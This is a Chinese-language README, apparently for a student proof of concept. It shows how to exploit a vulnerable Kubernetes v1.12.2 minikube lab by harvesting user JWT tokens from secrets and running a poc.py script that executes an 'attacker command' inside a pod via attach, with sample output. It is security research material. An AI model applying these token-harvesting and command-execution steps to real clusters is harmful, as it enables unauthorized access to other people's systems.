成员: Abhishek Rungta, Shubham Saini, Siddhant Sood
我们提供了一个 VirtualBox 镜像文件(.ova 文件) 下载它并从中创建一个虚拟机。 提供的 ova 已预配置了 docker v18.09 和 minikube v1.9.0
由于我们的虚拟机镜像已包含 minikube 和所需的 Kubernetes 版本,只需运行以下命令启动 minikube
minikube start --kubernetes-version=v1.12.2
创建一个新用户和一个命名空间,并使用以下命令为创建的用户分配 RBAC 角色。
kubectl apply -f fixing_policy.yml
kubectl edit configmaps kube-proxy --namespace=kube-system
将 set maxPerCore 改为 0
首先运行以下命令获取系统中存储的所有 JWT 令牌
kubectl get secrets -A
要获取所创建特定用户的密钥,运行以下命令:
kubectl -n [命名空间] get secrets [用户令牌] -o json
然后进行 base64 解码。
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN
kubectl cluster-info
kubectl run --image=nginx:alpine securenginx -n poc
指定所有必需参数:
-t 目标 ip:端口(必需)
-j 用户的 JWT 令牌(必需)
-p pod(必需)
-n 命名空间
-m 方法(必需)
-c 容器
-x 攻击者命令
输入
./poc.py -t [IP:端口] -j [令牌] -p [pod] -n [命名空间] -m attach -x "命令"
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0"
输出
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:02
inet addr:172.17.0.2 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:217603 (212.5 KiB) TX bytes:428778 (418.7 KiB)
{"metadata":{},"status":"Success"}
演示视频 链接